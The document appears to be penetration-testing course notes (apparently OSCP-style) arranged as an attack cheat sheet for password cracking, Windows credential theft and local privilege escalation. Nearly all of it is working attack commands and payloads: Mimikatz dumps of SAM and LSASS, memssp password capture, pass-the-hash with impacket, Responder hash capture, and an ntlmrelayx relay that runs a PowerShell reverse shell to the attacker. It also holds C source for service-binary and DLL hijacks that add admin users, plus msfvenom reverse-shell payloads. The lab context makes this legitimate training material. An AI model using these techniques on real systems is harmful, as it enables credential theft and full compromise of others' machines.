# when: the password policy needs upper case, digits or special chars, so plain rockyou words cannot match
kali@kali:~$ mkdir passwordattacks
kali@kali:~$ cd passwordattacks
kali@kali:~/passwordattacks$ head /usr/share/wordlists/rockyou.txt > demo.txt
kali@kali:~/passwordattacks$ sed -i '/^1/d' demo.txt

# escape the $ when echoing a rule, or the shell expands $1
kali@kali:~/passwordattacks$ echo \$1 > demo.rule

# preview the mutated candidates without cracking anything
kali@kali:~/passwordattacks$ hashcat -r demo.rule --stdout demo.txt
# password1
# iloveyou1
RuleEffectpassword becomes
$Xappend char X$1 -> password1
^Xprepend char X^1 -> 1password
ccapitalize first char, lowercase the restPassword
uuppercase all (Hashcat Wiki, lab task)PASSWORD
dduplicate the word (Hashcat Wiki, lab task)passwordpassword
$1 c $! on one linefunctions applied together, left to rightPassword1!
$! $1 c on one lineorder mattersPassword!1
$1 and c on two linestwo separate rules, two candidatespassword1, Password
# targeted rule file: humans capitalize the first letter, append digits, end with ! @ # (left side of keyboard)
kali@kali:~/passwordattacks$ cat demo3.rule
$1 c $!
$2 c $!
$1 $2 $3 c $!

# crack MD5 (-m 0) with rockyou + rules; --force because the Kali VM has no GPU
kali@kali:~/passwordattacks$ hashcat -m 0 crackme.txt /usr/share/wordlists/rockyou.txt -r demo3.rule --force
# f621b6c9eab51a3e2f4e167fee4c6860:Computer123!

# unknown policy: use the shipped rule sets (best66.rule, rockyou-30000.rule, dive.rule, leetspeak.rule, d3ad0ne.rule ...)
kali@kali:~/passwordattacks$ ls -la /usr/share/hashcat/rules/
# "Not enough allocatable device memory for this attack": give the Kali VM more RAM (4GB is enough)

Cracking Methodology

# for every hash: 1 extract, 2 format, 3 calculate cracking time, 4 prepare wordlist, 5 attack
# identify the type (both are on Kali; neither can tell MD2/MD4/MD5 apart, so double-check)
kali@kali:~$ hashid '<HASH>'
kali@kali:~$ hash-identifier

# find the hashcat mode by name
kali@kali:~$ hashcat --help | grep -i "<HASH_NAME>"
# strip "filename:" prefixes and stray spaces/newlines from copy-pasted hashes
# $2y$10$... = bcrypt: slow hash, runs better on CPU (john)
# rule-based attacks beat a straight dictionary; build a custom list from every password you already found

KeePass Database Cracking

# when: you are on a workstation and Apps & features (or the Uninstall registry keys) list KeePass
PS C:\Users\<USER>> Get-ChildItem -Path C:\ -Include *.kdbx -File -Recurse -ErrorAction SilentlyContinue
# Directory: C:\Users\jason\Documents   Database.kdbx
# there may be several (personal and department databases): take all of them
# after transferring Database.kdbx to Kali: convert to a hash
kali@kali:~/passwordattacks$ keepass2john Database.kdbx > keepass.hash
# edit keepass.hash: delete the leading "Database:" so the line starts with $keepass$*2*...

# mode lookup
kali@kali:~/passwordattacks$ hashcat --help | grep -i "KeePass"
# 13400 | KeePass 1 (AES/Twofish) and KeePass 2 (AES) | Password Manager

# rockyou-30000.rule was built for rockyou.txt and works well with it
kali@kali:~/passwordattacks$ hashcat -m 13400 keepass.hash /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/rockyou-30000.rule --force
# $keepass$*2*60*0*d74e...:qwertyuiop123!
# open the database with the master password and spray every stored credential

SSH Private Key Passphrase Cracking

# when: you got an id_rsa (directory traversal, file share, web file manager) and it asks for a passphrase
kali@kali:~/passwordattacks$ chmod 600 id_rsa
# try the passwords from any notes next to the key first
kali@kali:~/passwordattacks$ ssh -i id_rsa -p 2222 <USER>@<TARGET>
# Enter passphrase for key 'id_rsa':

# convert; for hashcat remove the "id_rsa:" prefix. $6$ in the hash = mode 22921
kali@kali:~/passwordattacks$ ssh2john id_rsa > ssh.hash
kali@kali:~/passwordattacks$ hashcat -h | grep -i "ssh"
# 22911 ($0$) | 22921 ($6$) | 22931 ($1, $3$) | 22941 ($4$) | 22951 ($5$)

# rules from the policy in the note ("3 numbers, a capital letter and a special character")
kali@kali:~/passwordattacks$ cat ssh.rule
c $1 $3 $7 $!
c $1 $3 $7 $@
c $1 $3 $7 $#
kali@kali:~/passwordattacks$ hashcat -m 22921 ssh.hash ssh.passwords -r ssh.rule --force
# Token length exception / No hashes loaded = modern aes-256-ctr key that hashcat cannot load: use john
# john: give the rule set a name and append it to john.conf
kali@kali:~/passwordattacks$ cat ssh.rule
[List.Rules:sshRules]
c $1 $3 $7 $!
c $1 $3 $7 $@
c $1 $3 $7 $#
kali@kali:~/passwordattacks$ sudo sh -c 'cat /home/kali/passwordattacks/ssh.rule >> /etc/john/john.conf'

# crack with the custom wordlist and the named rules
kali@kali:~/passwordattacks$ john --wordlist=ssh.passwords --rules=sshRules ssh.hash
# Umbrella137! (?)

# log in with the key and the cracked passphrase; keep the plaintext for spraying elsewhere
kali@kali:~/passwordattacks$ ssh -i id_rsa -p 2222 <USER>@<TARGET>

Dumping and Cracking NTLM with Mimikatz

# when: you are local admin on a Windows host. List local users first
PS C:\Users\<USER>> Get-LocalUser

# start PowerShell as Administrator (UAC Yes), course copies live in C:\tools and C:\tools\mimikatz
PS C:\Windows\system32> cd C:\tools
PS C:\tools> .\mimikatz.exe
# enable SeDebugPrivilege (needed for lsadump::sam and sekurlsa::logonpasswords)
mimikatz # privilege::debug
# Privilege '20' OK

# impersonate SYSTEM (needs SeImpersonatePrivilege, which local admins have)
mimikatz # token::elevate
# -> Impersonated !

# local account NTLM hashes from the SAM
mimikatz # lsadump::sam
# User : nelly
# Hash NTLM: 3ae8e5f0ffabb3a627672e1600f1ba10

# plaintext and hashes from every LSASS source, including logged-on domain users (very verbose)
mimikatz # sekurlsa::logonpasswords
# mimikatz output is already hashcat format: one NT hash per line
kali@kali:~/passwordattacks$ hashcat --help | grep -i "ntlm"
# 1000 | NTLM | Operating System

kali@kali:~/passwordattacks$ hashcat -m 1000 nelly.hash /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best66.rule --force
# 3ae8e5f0ffabb3a627672e1600f1ba10:nicole1
# verify by logging in (RDP) as the user

Pass-the-Hash with smbclient and impacket

# when: the NTLM hash will not crack. NTLM is unsalted and static, and the same local Administrator password on many hosts is common
# SMB share access with the NT hash (escape the backslashes in the share path)
kali@kali:~$ smbclient \\\\<TARGET>\\secrets -U Administrator --pw-nt-hash <NTHASH>
# smb: \> get secrets.txt

# interactive SYSTEM shell: uploads an exe to a writable share (ADMIN$), creates and starts a service
kali@kali:~$ impacket-psexec -hashes 00000000000000000000000000000000:<NTHASH> Administrator@<TARGET>
# C:\Windows\system32> whoami
# nt authority\system

# semi-interactive shell as the authenticating user
kali@kali:~$ impacket-wmiexec -hashes 00000000000000000000000000000000:<NTHASH> Administrator@<TARGET>
# files02\administrator
# -hashes format is LM:NT, fill LM with 32 zeros; an optional trailing argument is the command (default cmd.exe)
# UAC remote restrictions (default since Vista): PtH code execution works for the RID 500 Administrator,
# not for other local Administrators group members. Domain accounts are not affected.
# other PtH-capable tools named by the course: CrackMapExec, RDP and WinRM (with rights), Mimikatz

Capturing Net-NTLMv2 with Responder

# when: you have code execution as an unprivileged user (bind/reverse/web shell) and cannot run Mimikatz
# find your VPN interface (tap0 in the course)
kali@kali:~$ ip a
# 3: tap0: ... inet 192.168.119.2/24

# run the Responder SMB server (needs sudo for raw sockets)
kali@kali:~$ sudo responder -I tap0
# SMB server [ON] ... [+] Listening for events...
# exam: use Responder as a capture server for authentication you trigger yourself;
# LLMNR/NBT-NS/mDNS poisoning is spoofing, which the exam forbids
# from the target shell: the share name is arbitrary, "Access is denied." is expected
C:\Windows\system32> dir \\<LHOST>\test

# same from PowerShell
PS C:\> ls \\<LHOST>\share

# no shell, but a file upload / file path field on a Windows web server: submit a UNC path
\\<LHOST>\share\nonexistent.txt
# Responder prints the hash:
# [SMB] NTLMv2-SSP Hash : paul::FILES01:1f9d4c51f6e74653:795F138EC69C274D0FD53BB32908A72B:0101000000000000...
# save the full line to a file and crack with mode 5600
kali@kali:~$ hashcat -hh | grep -i "ntlm"
# 5600 | NetNTLMv2 | Network Protocol
kali@kali:~$ hashcat -m 5600 paul.hash /usr/share/wordlists/rockyou.txt --force
# PAUL::FILES01:...:123Password123
# if the web vector uses a hostname, add it to /etc/hosts first

Relaying Net-NTLMv2 with ntlmrelayx

# when: the Net-NTLMv2 hash is too strong to crack, but the user is probably admin on another host (name like files02admin)
# -c runs as the relayed user; the course uses a base64 PowerShell reverse shell one-liner to Kali port 8080
kali@kali:~$ impacket-ntlmrelayx --no-http-server -smb2support -t <TARGET2> -c "powershell -enc <BASE64_PS_REVERSE_SHELL>"
# [*] Servers started, waiting for connections

# catch the shell the relayed command sends back
kali@kali:~$ nc -nvlp 8080

# trigger SMB authentication from the first host to Kali
C:\Windows\system32> dir \\<LHOST>\test
# ntlmrelayx: [*] Authenticating against smb://<TARGET2> as FILES01/FILES02ADMIN SUCCEED
# listener: nt authority\system on FILES02
# relaying a non-RID-500 local admin only works if UAC remote restrictions are disabled on the target

Cached Domain Credentials and Credential Guard

# when: a domain user (ideally a domain admin) has a session on a host where you are local admin
# course setup: RDP in as the domain admin to create the logon session (escape the \ and the !)
kali@kali:~$ xfreerdp /u:"<DOMAIN>\\Administrator" /p:"<PASS>" /v:<TARGET> /dynamic-resolution
# as local admin on that host: dump LSASS
mimikatz # privilege::debug
mimikatz # sekurlsa::logonpasswords
# Domain : CORP  * NTLM : 160c0b16dd0ee77e7c494e38252f7ddf
# pass the domain admin hash to another domain machine
kali@kali:~$ impacket-wmiexec -debug -hashes 00000000000000000000000000000000:<NTHASH> <DOMAIN>/Administrator@<TARGET2>
# [!] Launching semi-interactive shell - Careful what you execute
# logonpasswords shows "LSA Isolated Data: NtlmHash" and an Encrypted blob instead of the hash: check for Credential Guard
PS C:\Users\<USER>> Get-ComputerInfo
# DeviceGuardSecurityServicesRunning : {CredentialGuard, HypervisorEnforcedCodeIntegrity}
# Credential Guard protects only domain credentials; local account hashes (lsadump::sam) still dump
# Credential Guard on: inject the Mimikatz SSP into lsass memory (no DLL on disk), then wait for or trigger a logon
mimikatz # privilege::debug
mimikatz # misc::memssp
# Injected =)
# read the plaintext captured at the next logon (machine accounts like CORP\CLIENTWK245$ also show up)
PS C:\Users\<USER>> type C:\Windows\System32\mimilsa.log
# [00000000:00af2311] CORP\Administrator QWERTY123!@#

Hashcat Modes and Password Attack Locations

ItemValue
MD5 / SHA1 / SHA2-256-m 0 / -m 100 / -m 1400
NTLM (SAM, LSASS)-m 1000
NetNTLMv1 / NetNTLMv2-m 5500 / -m 5600 (NT variants 27000 / 27100)
KeePass 1 and 2-m 13400
OpenSSH private keys-m 22911 ($0$), 22921 ($6$), 22931 ($1/$3$), 22941 ($4$), 22951 ($5$)
Atlassian PBKDF2-HMAC-SHA1 (section 13)-m 12001
Wordlists/usr/share/wordlists/rockyou.txt (14,344,399 lines), /usr/share/wordlists/dirb/others/names.txt, /usr/share/wordlists/fasttrack.txt
Rules / John config/usr/share/hashcat/rules/, /etc/john/john.conf
Converterskeepass2john, ssh2john (prepend filename:)
SAM fileC:\Windows\system32\config\sam (locked while Windows runs: use Mimikatz)

Password Attack Decision Table

You haveRun
SSH/RDP/web login + a usernamehydra -l <USER> -P rockyou.txt (-s for odd ports)
One plaintext passwordspray it: hydra -L users.txt -p "<PASS>" on every service
Web logindefault creds from the docs, then hydra ... http-post-form
Any hashhashid, hashcat --help | grep, estimate time, rules over plain list
hashcat Token length exceptionjohn with a named rule set in /etc/john/john.conf
.kdbx on a workstationkeepass2john, hashcat -m 13400
Passphrase-protected id_rsafound passwords first, then ssh2john + hashcat 22921 or john
Local admin on WindowsMimikatz lsadump::sam + sekurlsa::logonpasswords
Uncrackable NT hashimpacket-psexec / impacket-wmiexec -hashes, smbclient --pw-nt-hash
PtH fails with a non-500 local adminUAC remote restrictions: use RID 500 Administrator or a domain account
Unprivileged shell on Windowssudo responder -I tap0 + dir \\<LHOST>\test, hashcat -m 5600
Uncrackable Net-NTLMv2, user admin elsewhereimpacket-ntlmrelayx --no-http-server -smb2support -t <TARGET2> -c "<CMD>"
"LSA Isolated Data" in logonpasswordsCredential Guard: misc::memssp, read mimilsa.log

11. Windows Privilege Escalation

Windows Privesc Theory

Windows identifies every user and group by SID, and gives each logon an access token that every process copies. Integrity levels (System, High, Medium, Low, Untrusted) sit on top: under UAC an admin gets a filtered Medium token and a full admin token, so being in Administrators does not mean you run High integrity. The course order on every Windows host is: situational awareness, credentials in files, PowerShell history and transcripts, automated tools (verify by hand), service abuse (binary hijack, DLL hijack, unquoted path), scheduled tasks, then exploits (application, kernel, SeImpersonate). Every new user you get means you restart enumeration from the top, and every password you find gets tried on every user and service.

SIDPrincipal
S-1-0-0Nobody
S-1-1-0Everybody
S-1-5-11Authenticated Users
S-1-5-18Local System
S-1-5-<domain>-500built-in Administrator (RID 500)
S-1-5-32-544 / 545 / 555built-in Administrators / Users / Remote Desktop Users
S-1-5-21-1336799502-1441772794-948155058-1001format S-R-X-Y (revision 1, authority 5 = NT Authority, domain id + RID); RID 1000 and up = normal principals, 1001 = second local user

Situational Awareness

# when: first minute on every Windows foothold. Course bind shell on 4444 (after a drop it takes up to 1 minute to return)
kali@kali:~$ nc <TARGET> 4444

# user and hostname (hostname hints the role: WEB01, MSSQL01, CLIENTWK = client)
C:\Users\<USER>> whoami
# clientwk220\dave

# groups of the current user: look for non-default groups (helpdesk), Remote Desktop Users, integrity label
C:\Users\<USER>> whoami /groups

# privileges: SeImpersonate, SeBackup, SeShutdown ... "Disabled" still means you hold it
C:\Users\<USER>> whoami /priv
# local users (cmd: net user). Look for "admin" twins of normal users (dave -> daveadmin, BackupAdmin)
PS C:\Users\<USER>> Get-LocalUser

# local groups (cmd: net localgroup). Look for custom groups (adminteam, BackupUsers, helpdesk)
PS C:\Users\<USER>> Get-LocalGroup

# members of interesting groups
PS C:\Users\<USER>> Get-LocalGroupMember adminteam
PS C:\Users\<USER>> Get-LocalGroupMember Administrators

# groups of one specific user: can you RDP (Remote Desktop Users) or WinRM (Remote Management Users) as them?
PS C:\Users\<USER>> net user <USER2>

# OS name, build (22621 = Windows 11 22H2) and System Type (x64 vs x86 decides your payload)
PS C:\Users\<USER>> systeminfo

# interfaces, DNS servers, gateway, DHCP
PS C:\Users\<USER>> ipconfig /all

# routes to unknown networks = pivot targets (section 13)
PS C:\Users\<USER>> route print

# all connections with owning PID: local-only services, and 3389 ESTABLISHED from another IP
# = another user is logged in (their creds sit in LSASS once you are admin)
PS C:\Users\<USER>> netstat -ano
Built-in groupWhat membership gives you
Administratorslocal admin (still Medium integrity until UAC elevation)
Backup Operatorsback up and restore any file regardless of permissions (a custom "BackupUsers" group is not this)
Remote Desktop UsersRDP logon
Remote Management UsersWinRM (evil-winrm, PS remoting)

Installed Applications and Processes

# when: right after users/groups. 32-bit apps, then 64-bit apps
PS C:\Users\<USER>> Get-ItemProperty "HKLM:\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\*" | select displayname
PS C:\Users\<USER>> Get-ItemProperty "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\*" | select displayname
# course hits: FileZilla 3.63.1, KeePass Password Safe 2.51.1, 7-Zip 21.07, XAMPP
# the list can be incomplete: also look in C:\Program Files, C:\Program Files (x86) and the user's Downloads
# every version -> searchsploit / public exploit check; KeePass -> crack the master password (section 10)

# running processes: correlate PIDs with netstat -ano (mysqld, httpd = XAMPP Apache + MySQL)
PS C:\Users\<USER>> Get-Process

Hunting Credentials in Files

# when: after the app list; let the installed apps guide the search
# KeePass databases anywhere on C:
PS C:\Users\<USER>> Get-ChildItem -Path C:\ -Include *.kdbx -File -Recurse -ErrorAction SilentlyContinue

# config and text files of an app you found (XAMPP here)
PS C:\Users\<USER>> Get-ChildItem -Path C:\xampp -Include *.txt,*.ini -File -Recurse -ErrorAction SilentlyContinue
PS C:\Users\<USER>> type C:\xampp\passwords.txt
PS C:\Users\<USER>> type C:\xampp\mysql\bin\my.ini
# my.ini was "Access denied" for dave but readable later as steve: re-check denied files with every new user

# documents in the user's home
PS C:\Users\<USER>> Get-ChildItem -Path C:\Users\<USER>\ -Include *.txt,*.pdf,*.xls,*.xlsx,*.doc,*.docx -File -Recurse -ErrorAction SilentlyContinue
PS C:\Users\<USER>> cat Desktop\asdf.txt
# cat and type are both aliases of Get-Content

# found a password for another user: check what that user can log on with
PS C:\Users\<USER>> net user steve
# steve: helpdesk, Remote Desktop Users, Remote Management Users -> RDP in as steve and enumerate again
# course my.ini line: "# backupadmin Windows password for backup job ... password = admin123admin123!"

Using Found Credentials

# when: creds for a user without RDP/WinRM rights and you have a GUI session (runas prompts for the password)
PS C:\Users\steve> runas /user:backupadmin cmd
# Attempting to start cmd as user "CLIENTWK220\backupadmin" ...
# new window titled "running as CLIENTWK220\backupadmin"; confirm with whoami
# runas does not work from a non-interactive shell (the password prompt takes no input)
# no GUI: WinRM/RDP if the user is in those groups, a scheduled task if they have "Log on as a batch job",
# or PsExec if they have an active session
# when: the user is in Remote Management Users. Use evil-winrm from Kali, not Enter-PSSession inside a bind shell
# escape every ! in the password on the Kali shell
kali@kali:~$ evil-winrm -i <TARGET> -u daveadmin -p "qwertqwertqwert123\!\!"
# *Evil-WinRM* PS C:\Users\daveadmin\Documents> whoami
# clientwk220\daveadmin
# evil-winrm also does pass-the-hash, upload/download and in-memory script loading

PowerShell History and Transcripts

# when: always, right after file hunting. PowerShell's own history (wiped by Clear-History)
PS C:\Users\<USER>> Get-History

# PSReadline history survives Clear-History: get its path, then read it
PS C:\Users\<USER>> (Get-PSReadlineOption).HistorySavePath
# C:\Users\dave\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
PS C:\Users\<USER>> type C:\Users\<USER>\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
# look for Set-Secret ... -Secret "<PASS>", PSCredential lines, Start-Transcript -Path <file>, Enter-PSSession

# read any transcript the history points to (course: C:\Users\Public\Transcripts\)
PS C:\Users\<USER>> type C:\Users\Public\Transcripts\transcript01.txt
# the transcript contained the three lines below with daveadmin's plaintext password
PS C:\Users\<USER>> $password = ConvertTo-SecureString "qwertqwertqwert123!!" -AsPlainText -Force
PS C:\Users\<USER>> $cred = New-Object System.Management.Automation.PSCredential("daveadmin", $password)
PS C:\Users\<USER>> Enter-PSSession -ComputerName CLIENTWK220 -Credential $cred
# inside a bind shell this session is broken (whoami works, cd/dir return nothing): use evil-winrm instead
# once admin (RDP): Event Viewer > Script Block Logging events can hold passwords in executed code

Automated Windows Enumeration

# when: after the manual pass, or when time is short. Needs the peass package on Kali
kali@kali:~$ cp /usr/share/peass/winpeas/winPEASx64.exe .
kali@kali:~$ python3 -m http.server 80
# download and run on the target (takes a few minutes)
PS C:\Users\<USER>> iwr -uri http://<LHOST>/winPEASx64.exe -Outfile winPEAS.exe
C:\Users\<USER>> .\winPEAS.exe
# colours: Red = special privilege / misconfiguration, Green = protection enabled,
# Cyan = active users, Blue = disabled users, LightYellow = links
# read: Basic System Information, PS transcripts history, Users, processes, services, scheduled tasks,
# network, installed apps, "Looking for possible password files in users homes", DPAPI Master Files
# in the course winPEAS called Windows 11 "Windows 10" and missed the transcript, asdf.txt and the PS history

# Seatbelt (precompiled, transferred the same way): all checks, then read InstalledProducts
PS C:\Users\<USER>> .\Seatbelt.exe -group=all
# AV blocks the tools: try Seatbelt or JAWS, or enumerate by hand
ToolKali path / sourceUse for
winPEAS/usr/share/peass/winpeas/winPEASx64.exebroad host overview, red findings
PowerUp/usr/share/windows-resources/powersploit/Privesc/PowerUp.ps1service binary and unquoted path checks
Seatbeltprecompiled binary-group=all, InstalledProducts
JAWSPowerShell scriptfallback when others are blocked

Service Binary Hijacking

# when: a service binary outside C:\Windows\System32 is writable by you. Run from RDP / an interactive logon:
# over WinRM or a bind shell, Get-CimInstance and Get-Service give "permission denied" to non-admins
PS C:\Users\<USER>> Get-CimInstance -ClassName win32_service | Select Name,State,PathName | Where-Object {$_.State -like 'Running'}
# Apache2.4 "C:\xampp\apache\bin\httpd.exe" -k runservice
# mysql C:\xampp\mysql\bin\mysqld.exe --defaults-file=c:\xampp\mysql\bin\my.ini mysql

# check the binary ACL (works in cmd and PowerShell; alternative Get-ACL)
PS C:\Users\<USER>> icacls "C:\xampp\apache\bin\httpd.exe"
# BUILTIN\Users:(RX)     -> not writable
PS C:\Users\<USER>> icacls "C:\xampp\mysql\bin\mysqld.exe"
# BUILTIN\Users:(F)      -> full control: hijack it
icacls maskMeaning
Ffull access
Mmodify access
RXread and execute
Rread-only
Wwrite-only
(I)inherited; no (I) = set explicitly
(OI)(CI)applies to files and subfolders
// adduser.c: course payload, adds a local admin when the service starts
#include <stdlib.h>

int main ()
{
  int i;

  i = system ("net user dave2 password123! /add");
  i = system ("net localgroup administrators dave2 /add");

  return 0;
}
# cross-compile for 64-bit Windows and serve it
kali@kali:~$ x86_64-w64-mingw32-gcc adduser.c -o adduser.exe
kali@kali:~$ python3 -m http.server 80

# interactive shell instead of a new admin user (proof.txt must be read in an interactive shell)
# exam: allowed on all targets (msfvenom/multi/handler); catch it with nc -nvlp <LPORT> or multi/handler
kali@kali:~$ msfvenom -p windows/x64/shell_reverse_tcp LHOST=<LHOST> LPORT=<LPORT> -f exe -o adduser.exe
# download, keep the original for restore, swap the binary
PS C:\Users\<USER>> iwr -uri http://<LHOST>/adduser.exe -Outfile adduser.exe
PS C:\Users\<USER>> move C:\xampp\mysql\bin\mysqld.exe mysqld.exe
PS C:\Users\<USER>> move .\adduser.exe C:\xampp\mysql\bin\mysqld.exe

# try to restart the service
PS C:\Users\<USER>> net stop mysql
# System error 5 has occurred. Access is denied.

# cannot restart it: does it start at boot (Auto), and can you reboot (SeShutdownPrivilege)?
PS C:\Users\<USER>> Get-CimInstance -ClassName win32_service | Select Name, StartMode | Where-Object {$_.Name -like 'mysql'}
# mysql Auto
PS C:\Users\<USER>> whoami /priv
# SeShutdownPrivilege Shut down the system Disabled   ("Disabled" = held, just not enabled)
PS C:\Users\<USER>> shutdown /r /t 0
# no SeShutdownPrivilege: wait for someone else to restart the service

# after the reboot
PS C:\Users\<USER>> Get-LocalGroupMember administrators
# User CLIENTWK220\dave2 Local
# then RDP / evil-winrm / runas as dave2 for an interactive admin shell
# restore afterwards: delete your binary, move the original back, restart

PowerUp Service Checks

# when: quick second opinion on service vectors (copy from /usr/share/windows-resources/powersploit/Privesc/PowerUp.ps1)
PS C:\Users\<USER>> iwr -uri http://<LHOST>/PowerUp.ps1 -Outfile PowerUp.ps1
# scripts are blocked without -ep bypass
PS C:\Users\<USER>> powershell -ep bypass
PS C:\Users\<USER>> . .\PowerUp.ps1

# writable service binaries
PS C:\Users\<USER>> Get-ModifiableServiceFile
# ServiceName : mysql  ModifiableFile : C:\xampp\mysql\bin\mysqld.exe  StartName : LocalSystem
# AbuseFunction : Install-ServiceBinary -Name 'mysql'  CanRestart : False

# abuse function (default adds local admin john / Password123!)
PS C:\Users\<USER>> Install-ServiceBinary -Name 'mysql'
# "... not modifiable by the current user." = PowerUp bug: Get-ModifiablePath returns nothing when the
# PathName has an argument that contains a path (--defaults-file=c:\...). Exploit by hand instead.

DLL Hijacking

# when: you cannot replace the binary but can write a DLL it loads (overwrite one, or plant a missing one
# in a directory earlier in the search order). Start from the installed app list
PS C:\Users\steve> Get-ItemProperty "HKLM:\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\*" | select displayname
# FileZilla 3.63.1: public DLL hijack, loads TextShaping.dll from its install directory first

# can you write to the app directory?
PS C:\Users\steve> echo "test" > 'C:\FileZilla\FileZilla FTP Client\test.txt'
PS C:\Users\steve> type 'C:\FileZilla\FileZilla FTP Client\test.txt'
# test
# DLL search order with safe DLL search mode (default); disabled = current directory moves to position 2
1. The directory from which the application loaded.
2. The system directory.
3. The 16-bit system directory.
4. The Windows directory.
5. The current directory.
6. The directories that are listed in the PATH environment variable.

# confirm with Process Monitor (needs admin: normally analyse a copy of the app on your own machine)
# course: C:\tools\Procmon\Procmon64.exe as backupadmin, filters:
#   Process Name is filezilla.exe (Include), Operation is CreateFile, Path contains TextShaping.dll
# result: CreateFile C:\FileZilla\FileZilla FTP Client\TextShaping.dll NAME NOT FOUND, then loaded from System32
// TextShaping.cpp: course payload, runs on DLL_PROCESS_ATTACH
#include <stdlib.h>
#include <windows.h>

BOOL APIENTRY DllMain(
HANDLE hModule,// Handle to DLL module
DWORD ul_reason_for_call,// Reason for calling function
LPVOID lpReserved ) // Reserved
{
    switch ( ul_reason_for_call )
    {
        case DLL_PROCESS_ATTACH: // A process is loading the DLL.
        int i;
        i = system ("net user dave3 password123! /add");
        i = system ("net localgroup administrators dave3 /add");
        break;
        case DLL_THREAD_ATTACH: // A process is creating a new thread.
        break;
        case DLL_THREAD_DETACH: // A thread exits normally.
        break;
        case DLL_PROCESS_DETACH: // A process unloads the DLL.
        break;
    }
    return TRUE;
}
# --shared builds a DLL
kali@kali:~$ x86_64-w64-mingw32-gcc TextShaping.cpp --shared -o TextShaping.dll
# plant it in the app directory
PS C:\Users\steve> iwr -uri http://<LHOST>/TextShaping.dll -OutFile 'C:\FileZilla\FileZilla FTP Client\TextShaping.dll'
# the DLL runs as whoever starts the app: starting it yourself gains nothing, wait for a privileged user
PS C:\Users\steve> net user
PS C:\Users\steve> net localgroup administrators
# dave3 appeared after a few minutes

Unquoted Service Paths

# when: a service path has spaces, no quotes, and you can write to one of the intermediate directories
# CreateProcess tries, in order, for C:\Program Files\My Program\My Service\service.exe:
C:\Program.exe
C:\Program Files\My.exe
C:\Program Files\My Program\My.exe
C:\Program Files\My Program\My service\service.exe
# find them: run in cmd.exe, not PowerShell (quote escaping). Drops C:\Windows\ services, keeps unquoted paths
C:\Users\steve> wmic service get name,pathname | findstr /i /v "C:\Windows\\" | findstr /i /v """
# PowerShell view including stopped services
PS C:\Users\steve> Get-CimInstance -ClassName win32_service | Select Name,State,PathName
# GammaService Stopped C:\Program Files\Enterprise Apps\Current Version\GammaServ.exe

# can you start and stop it yourself (no reboot needed)?
PS C:\Users\steve> Start-Service GammaService
PS C:\Users\steve> Stop-Service GammaService

# candidates: C:\Program.exe, C:\Program Files\Enterprise.exe, C:\Program Files\Enterprise Apps\Current.exe
# check W on each directory
PS C:\Users\steve> icacls "C:\"
PS C:\Users\steve> icacls "C:\Program Files"
PS C:\Users\steve> icacls "C:\Program Files\Enterprise Apps"
# BUILTIN\Users:(OI)(CI)(RX,W)   -> writable

# drop the payload named after the first word before the space
PS C:\Users\steve> iwr -uri http://<LHOST>/adduser.exe -Outfile Current.exe
PS C:\Users\steve> copy .\Current.exe 'C:\Program Files\Enterprise Apps\Current.exe'
PS C:\Users\steve> Start-Service GammaService
# "Cannot start service GammaService" is expected: the payload already ran
PS C:\Users\steve> net localgroup administrators
# restore: Stop-Service, delete Current.exe
# PowerUp version of the same check and abuse (default user john / Password123!)
PS C:\Users\steve> powershell -ep bypass
PS C:\Users\steve> . .\PowerUp.ps1
PS C:\Users\steve> Get-UnquotedService
# ServiceName : GammaService  StartName : LocalSystem  CanRestart : True
PS C:\Users\steve> Write-ServiceBinary -Name 'GammaService' -Path "C:\Program Files\Enterprise Apps\Current.exe"
PS C:\Users\steve> Restart-Service GammaService
# Restart-Service reports a failure but john is created
PS C:\Users\steve> net localgroup administrators

Scheduled Tasks

# when: after services. Three questions: who runs it, when does it fire next, what does it execute
# (alternative: Get-ScheduledTask)
PS C:\Users\steve> schtasks /query /fo LIST /v
# TaskName: \Microsoft\CacheCleanup
# Author: CLIENTWK220\daveadmin    Run As User: daveadmin
# Task To Run: C:\Users\steve\Pictures\BackendCacheCleanup.exe
# Last Run 2:46:22 / Next Run 2:47:21 = runs every minute

# is the action file writable by you?
PS C:\Users\steve> icacls C:\Users\steve\Pictures\BackendCacheCleanup.exe
# CLIENTWK220\steve:(I)(F)

# swap it, keeping a backup
PS C:\Users\steve> iwr -Uri http://<LHOST>/adduser.exe -Outfile BackendCacheCleanup.exe
PS C:\Users\steve> move .\Pictures\BackendCacheCleanup.exe BackendCacheCleanup.exe.bak
PS C:\Users\steve> move .\BackendCacheCleanup.exe .\Pictures\

# wait for the next run, then check
PS C:\Users\steve> net localgroup administrators

Kernel Exploits and Missing Patches

# when: no service/task/credential path left. Gather privileges, build and installed security updates
PS C:\Users\steve> whoami /priv
PS C:\Users\steve> systeminfo
PS C:\Users\steve> Get-CimInstance -Class win32_quickfixengineering | Where-Object { $_.Description -eq "Security Update" }
# Security Update KB5025239 5/4/2023
# compare against MSRC Security Vulnerabilities for EoP bugs: CVE-2023-29360 is fixed by KB5027215, which was missing

# run the compiled exploit
PS C:\Users\steve\Desktop> .\CVE-2023-29360.exe
# [+] System token reference: ffffd1071de317d5
C:\Users\steve\Desktop>whoami
# nt authority\system
# only use kernel exploits with source available, test on a clone first: they can crash the box

SeImpersonatePrivilege with SigmaPotato

# when: whoami /priv shows SeImpersonatePrivilege (typical for IIS app pool, LocalService, NetworkService, service accounts)
C:\Users\dave> whoami /priv
# SeImpersonatePrivilege Impersonate a client after authentication Enabled
# course release of SigmaPotato, served over HTTP
kali@kali:~$ wget https://github.com/tylerdotrar/SigmaPotato/releases/download/v1.2.6/SigmaPotato.exe
kali@kali:~$ python3 -m http.server 80
# SigmaPotato coerces SYSTEM onto a named pipe it controls and runs your command with that token
PS C:\Users\dave> iwr -uri http://<LHOST>/SigmaPotato.exe -OutFile SigmaPotato.exe
PS C:\Users\dave> .\SigmaPotato "net user dave4 lab /add"
# [+] Pipe Connected!  ...  The command completed successfully.
PS C:\Users\dave> .\SigmaPotato "net localgroup Administrators dave4 /add"
PS C:\Users\dave> net localgroup Administrators
# other Potato tools named by the course: RottenPotato, SweetPotato, JuicyPotato, GodPotato
